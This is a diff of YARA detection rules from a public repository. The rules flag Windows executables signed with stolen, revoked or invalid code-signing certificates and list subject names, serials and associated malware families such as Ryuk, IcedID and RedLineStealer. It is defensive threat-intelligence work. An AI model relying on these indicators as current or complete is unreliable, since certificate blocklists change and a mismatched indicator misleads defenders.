-		logic_hash = "675ab6ef0f744f62db892992c6b3614e14b95f64e2800a0d10e55b915a2b4e74"
+		logic_hash = "29c6ae99675b8ab2c497faad71791c3fc018e92447bd96f5b2b3f426e1a1322b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7cff10e37a43843e971f02ca6ad6510f08a5209d21745181fc4d003a8287cd1b"
-		reason = "BumbleBee"
+		thumbprint = "cf933a629598e5e192da2086e6110ad1974f8ec3"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FACE AESTHETICS LTD" and pe.signatures[i].serial=="65:cf:d8:41:9d:70:ce:40:11:d9:7b:c7:9d:18:31:5e")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KITTY'S LTD" and pe.signatures[i].serial=="37:8d:55:43:04:8e:58:3a:06:a0:81:9f:25:bd:9e:85")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_01Cf0B0F01B20B70Bfaa69722979Ef5C : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Fdb6F4C09A1Ad69D4Fd2E46Bb1F54313 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "23f5047d-b8f9-5f17-9add-6e29dce9a976"
+		id = "e1250c37-fa89-5b8e-bea2-3b5e14039aea"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7966-L7979"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L720-L731"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5942c0196d7264783590c599ccfb0fe6518b338238ddb3df4e4f8999922ce86b"
+		logic_hash = "ce78ab52d8aeb87ada9cb86007907a8ad46e91982cc8fff43a61e7ec96609eb2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "ef10480ab6448e60bdc689fc54cb6cfc4a8e1d39ddc788ce3d060ab4b7d30b59"
-		reason = "Ryuk"
+		thumbprint = "4d1bc69003b1b1c3d0b43f6c17f81d13e0846ea7"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PET PLUS PTY LTD" and pe.signatures[i].serial=="01:cf:0b:0f:01:b2:0b:70:bf:aa:69:72:29:79:ef:5c")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FDSMMCME" and pe.signatures[i].serial=="fd:b6:f4:c0:9a:1a:d6:9d:4f:d2:e4:6b:b1:f5:43:13")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_698Ff388Adb50B88Afb832E76B0A0Ad1 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_E5Bf5B5C0880Db96477C24C18519B9B9 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "8118e0ee-6214-54f3-b025-234f9e685832"
+		id = "a28dbf8f-1b30-525d-baaf-51342aaf1cb3"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7981-L7994"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L733-L744"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7734256201739dece5ae039d45ed79c74be6228f7da51fc82c0cfd2d4aacfd4b"
+		logic_hash = "b3e0401a9cf3005abac24114193f34bf439107bf6661b7c2c0b66ca91438c7b9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "479e01dde7e7529ed4ad111a2d7b3b16fdc6fbe2ed0d6ff015c1c823ca0939db"
-		reason = "IcedID"
+		thumbprint = ""
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BELLAP LIMITED" and pe.signatures[i].serial=="69:8f:f3:88:ad:b5:0b:88:af:b8:32:e7:6b:0a:0a:d1")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "WATWGHFC" and pe.signatures[i].serial=="e5:bf:5b:5c:08:80:db:96:47:7c:24:c1:85:19:b9:b9")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5143Cf38D5Fd26858830826632Be9Fda : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ede6Cfbf9Fa18337B0Fdb49C1F693020 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "653a969a-9aed-5a26-9962-92bc173ddfdd"
+		id = "f1f34147-132e-53a3-b82c-d98121fc3f2c"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L7996-L8009"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L746-L757"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b6f33fd94f8098ca9d4fe98b3dc0a833f0be78fe854c62d715b98a2ba980b8ac"
+		logic_hash = "27f06a7a07b818fd34f5d23fd8e78f041063e035c1f8caa99aaaf53ec73a717a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "57a8aa854f3198f069bb34bc763b7773a8cfdafb562ee0ccf24a5067d45d5e3c"
-		reason = "BumbleBee"
+		thumbprint = "a99b52e0999990c2eb24d1309de7d4e522937080"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DIGI CORP MEDIA LLC" and pe.signatures[i].serial=="51:43:cf:38:d5:fd:26:85:88:30:82:66:32:be:9f:da")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "START ARCHITECTURE LTD" and pe.signatures[i].serial=="00:ed:e6:cf:bf:9f:a1:83:37:b0:fd:b4:9c:1f:69:30:20")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3628B93Bcd902B6B3E1Ffdf2E13Dfcf5 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4F407Eb50803845Cc43937823E1344C0 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "8b8fa36d-181b-57a1-853e-ab11a5127fd7"
+		id = "d5a6df76-bbbc-5025-b0c4-49e0034c03f3"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8011-L8024"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L759-L770"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bf9b2ab7a379437daa04565fdf7adc04db2f6f1a6284d1fd91f037b255523c42"
+		logic_hash = "bb01e912cf40155b0b00e1901bbb3235048ee033d0ddea7a809f0ce8e871e1ce"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "27b75dc1d31a581f6e02bba3c03a62174ee4456021c7de50922caa10b98f8f7a"
-		reason = "Malware"
+		thumbprint = "0c1ffe7df27537a3dccbde6f7a49e38c4971e852"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMCERT,LLC" and pe.signatures[i].serial=="36:28:b9:3b:cd:90:2b:6b:3e:1f:fd:f2:e1:3d:fc:f5")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SLOW COOKED VENTURES LTD" and pe.signatures[i].serial=="4f:40:7e:b5:08:03:84:5c:c4:39:37:82:3e:13:44:c0")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_A32B8B4F1Be43C23Eb2848Ab4Ef06Bb2 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2Bffef48E6A321B418041310Fdb9B0D0 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "f0baf7ea-7022-5834-a46c-b67bfbe706d0"
+		id = "fc945c76-b743-52d3-8e15-77afdc629f6d"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8026-L8039"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L785-L796"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "438667b55f23b689627fc1e5bce0e53b960ef51d1a7d3203e398c59bd94ffe93"
+		logic_hash = "8d0223b6366f7bc22fd6dd053c1fb6c9e52f80b3bdf9ee46017ddf038bd1e00f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f7a578c93fd98ade3d259ac47f152d8c9115bc5df7e2f57d107a66db3f833f0f"
-		reason = "NetSupport RAT"
+		thumbprint = "c40c5157e96369ceb7e26e756f2d1372128cee7b"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Pak El AB" and pe.signatures[i].serial=="a3:2b:8b:4f:1b:e4:3c:23:eb:28:48:ab:4e:f0:6b:b2")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "A&D DOMUS LIMITED" and pe.signatures[i].serial=="2b:ff:ef:48:e6:a3:21:b4:18:04:13:10:fd:b9:b0:d0")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_17Ccecc181Ed65A357Edf3B01Df62Cc9 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_73B60719Ee57974447C68187E49969A2 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "b692d8dd-e7c9-53cb-8c65-0001c2af3f6f"
+		id = "c72fb0b8-efdc-5734-9754-2289bd95ae3c"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8041-L8054"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L798-L809"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d79968633717744ab9e9006f8d958c1e240a1e0f99fd0b4c603d42bb7cd4773c"
+		logic_hash = "f9cc0f526a3acbfc30c6b76b6705f1a2d9c905b9bb7c996e4db3ca6d4d63be1c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b64bd77a58c90f76afd6c4ce0b38c54c3c6088b818d0b83e5435d89e3dc01cda"
-		reason = "RedLineStealer"
+		thumbprint = "8e50ddad9fee70441d9eb225b3032de4358718dc"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AMCERT,LLC" and pe.signatures[i].serial=="17:cc:ec:c1:81:ed:65:a3:57:ed:f3:b0:1d:f6:2c:c9")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BIT HORIZON LIMITED" and pe.signatures[i].serial=="73:b6:07:19:ee:57:97:44:47:c6:81:87:e4:99:69:a2")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_332Bd5801E8415585E72C87E0E2Ec71D : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_2925263B65C7Fe1Cd47B0851Cc6951E3 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "a4e1560f-12e4-5f49-a714-7df939dad513"
+		id = "9e531592-b68c-550b-8609-51f7c9ac63ae"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8056-L8069"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L811-L822"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ad3b1aebedd1ecef9af96da991cdbaca8033e0d48b5e7b776dd3fd3c4024928e"
+		logic_hash = "163293ce805cdd3ec265fb9c527a5ce19ddab0f6b96355acb636c941ce0bc5f2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "47338c1a0ea425c47dede188d10ca95288514f369fe8a5105752bd8d906b8cbc"
-		reason = "NetSupport"
+		thumbprint = "88ef10f0e160b1b4bb8f0777a012f6b30ac88ac8"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Elite Marketing Strategies, Inc." and pe.signatures[i].serial=="33:2b:d5:80:1e:84:15:58:5e:72:c8:7e:0e:2e:c7:1d")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "tuning buddy limited" and pe.signatures[i].serial=="29:25:26:3b:65:c7:fe:1c:d4:7b:08:51:cc:69:51:e3")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0139Dde119Bb320Dfb9F5Defe3F71245 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4Ff4Eda5Fa641E70162713426401F438 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "4962ea0c-ce99-57d3-8848-48dcaab4f346"
+		id = "cc81ed1d-bd77-5cec-8bee-23e8ef448edc"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8071-L8084"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L824-L835"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b2a7154d73eb9271a181d71d65c73e399bb2f7d1fe031240e94b6ef4c4f7cb18"
+		logic_hash = "d08e12e74e9c0b7a89ffa81a1b8595953d857e571a5b7a6947eba18bf39610f6"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "23d13a8e48a6eff191a5d6a0635b99467c2e7242ae520479cae130fbd41cc645"
-		reason = "RedLineStealer"
+		thumbprint = "a6277cc8fce0f90a1909e6dac8b02a5115dafb40"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Hangil IT Co., Ltd" and pe.signatures[i].serial=="01:39:dd:e1:19:bb:32:0d:fb:9f:5d:ef:e3:f7:12:45")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DUHANEY LIMITED" and pe.signatures[i].serial=="4f:f4:ed:a5:fa:64:1e:70:16:27:13:42:64:01:f4:38")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2F96A89Bfec6E44Dd224E8Fd7E72D9Bb : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_04C7Cdcc1698E25B493Eb4338D5E2F8B : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "a905ee22-94c6-5d16-a9a4-a1c1528e4ac2"
+		id = "446608c2-4c9e-56a9-8ac4-2c90397d68e5"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8086-L8099"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L837-L848"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "94a5721bd3089f46699a947afcd03287712f94754666809e6495b01fc9cd6dcf"
+		logic_hash = "d1e81d040a279d6024989acbdd40f69de99c97baf789591400370806e846a1c4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f13e4801e13898e839183e3305e1dda7f4c0ebf6eaf7553e18c1ddd4edc94470"
-		reason = "Gozi"
+		thumbprint = "60974f5cc654e6f6c0a7332a9733e42f19186fbb"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NAILS UNLIMITED LIMITED" and pe.signatures[i].serial=="2f:96:a8:9b:fe:c6:e4:4d:d2:24:e8:fd:7e:72:d9:bb")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "3AN LIMITED" and pe.signatures[i].serial=="04:c7:cd:cc:16:98:e2:5b:49:3e:b4:33:8d:5e:2f:8b")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_626735Ed30E50E3E0553986D806Bfc54 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4C450Eccd61D334E0Afb2B2D9Bb1D812 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "5cab852e-8483-5c38-a396-3a53cf64450a"
+		id = "116c86c1-facf-5b69-94f1-3f0f81c38a7d"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8101-L8114"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L850-L861"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "960005fe1a28ddb50261aeaaa850a2410ac03ee9709af2a75485313676c92c53"
+		logic_hash = "70851d76af4a4dfe8f1ca4de9925f030d9b937050876828775b78eddd123e3cd"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a1488004ec967faf6c66f55440bbde0de47065490f7c758f3ca1315bb0ef3b97"
-		reason = "Quakbot"
+		thumbprint = "4c450eccd61d334e0afb2b2d9bb1d812"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FISH ACCOUNTING & TRANSLATING LIMITED" and pe.signatures[i].serial=="62:67:35:ed:30:e5:0e:3e:05:53:98:6d:80:6b:fc:54")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ANJELA KEY LIMITED" and pe.signatures[i].serial=="4c:45:0e:cc:d6:1d:33:4e:0a:fb:2b:2d:9b:b1:d8:12")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4A2E337Fff23E5B2A1321Ffde56D1759 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0E1Bacb85E77D355Ea69Ba0B : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "60d218b2-5297-59e6-9370-fc0ba036c688"
+		id = "18e2dce1-c6aa-55d8-907a-75097feb7acf"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8116-L8129"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L863-L874"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "524048d39de89002efbb8bf75135551b300e03f1126e5e117a4682c79ec04c9a"
+		logic_hash = "f0753c83001e2b9d235afe51ce5d245e085551584ee052a35aaadd95c6c5eeb7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "67099e0c41c102535d388fab1de576433f2ded2b08fb7da1bf66e3bdaba4eeb4"
-		reason = "IcedID"
+		thumbprint = "6750c9224540d7606d3c82c7641f49147c1b3fd0"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Karolina Klimowska" and pe.signatures[i].serial=="4a:2e:33:7f:ff:23:e5:b2:a1:32:1f:fd:e5:6d:17:59")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BULDOK LIMITED" and pe.signatures[i].serial=="0e:1b:ac:b8:5e:77:d3:55:ea:69:ba:0b")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_967Cb0898680D1C174B2Baae5Fa332Db : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5998B4Affe2Adf592E6528Ff800E567C : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "a95f7912-89fc-5c80-96ab-19e6ee2ccafd"
+		id = "b81787fd-a8f1-5640-bf8a-8129f708a337"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8131-L8144"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L876-L887"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8c68127b29d1a1aa4c1e2033c809fa57466f224c2bb4ede0ffb2b572a3d58c0f"
+		logic_hash = "d9f589ce6367517f3c93b7b0675b19249108849e52bd9264e31bf8109e5a121f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c231f1e6cc3aec983d892e1bc3bb1815335fb24e3e2f611d79bade9a07cbd819"
-		reason = "Babadeda"
+		thumbprint = "d990d584c856bd28eab641c3c3a0f80c0b71c4d7"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "James Caulfield" and pe.signatures[i].serial=="96:7c:b0:89:86:80:d1:c1:74:b2:ba:ae:5f:a3:32:db")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BEAT GOES ON LIMITED" and pe.signatures[i].serial=="59:98:b4:af:fe:2a:df:59:2e:65:28:ff:80:0e:56:7c")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_890570B6B0E2868A53Be3F8F904A88Ee : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B7E0Cf12E4Ae50Dd643A24285485602F : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "8d619117-00cb-5276-87c1-3f6cd701218d"
+		id = "d314925c-c6b2-5a7f-ba73-038ea4759149"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8146-L8159"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L889-L900"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "952b211cc2c7988b9a09ca5a96c44fea24bbaced28a79ab0ae6732675fda7365"
+		logic_hash = "7aefb436b7e3865b1abb6bbc3e0027a628f39e25cb4b28f35f070e000c19c1c7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f291d21d72dcefc369526a97b7d39214544b22057757ac00907ab4ff3baa2edd"
-		reason = "Quakbot"
+		thumbprint = "744160f36ba9b0b9277c6a71bf383f1898fd6d89"
 		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "JESEN LESS d.o.o." and pe.signatures[i].serial=="89:05:70:b6:b0:e2:86:8a:53:be:3f:8f:90:4a:88:ee")
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "GESO LTD" and pe.signatures[i].serial=="00:b7:e0:cf:12:e4:ae:50:dd:64:3a:24:28:54:85:60:2f")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_7D27332C3Cb3A382A4Fd232C5C66A2 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_767436921B2698Bd18400A24B01341B6 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects executables signed with stolen, revoked or invalid certificate"
 		author = "ditekSHen"
-		id = "d9f0d30b-ac9d-57f9-8220-c6a376fe68db"
+		id = "ffd19457-1a5d-5782-89e2-3dd4090f124f"
 		date = "2023-12-08"
 		modified = "2023-12-08"
-		reference = "https://bazaar.abuse.ch/faq/#cscb"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L8161-L8174"
+		reference = "https://github.com/ditekshen/detection"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L902-L913"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d21218469ae41def8eed3d2cff38744ae928d9e8fed8ff68c539d33193136e0f"
+		logic_hash = "b09ec625a06dcf90df52c56b78889f24d55dbd8cbd7d82a07bdbc842318ff19a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "935af7361c09f45dcf3fa6e4f4fd176913c47673104272259b40de55566cabed"
-		reason = "Silence"
+		thumbprint = "871899843b5fd100466e351ca773dac44e936939"
 		importance = 20
 
 	condition:
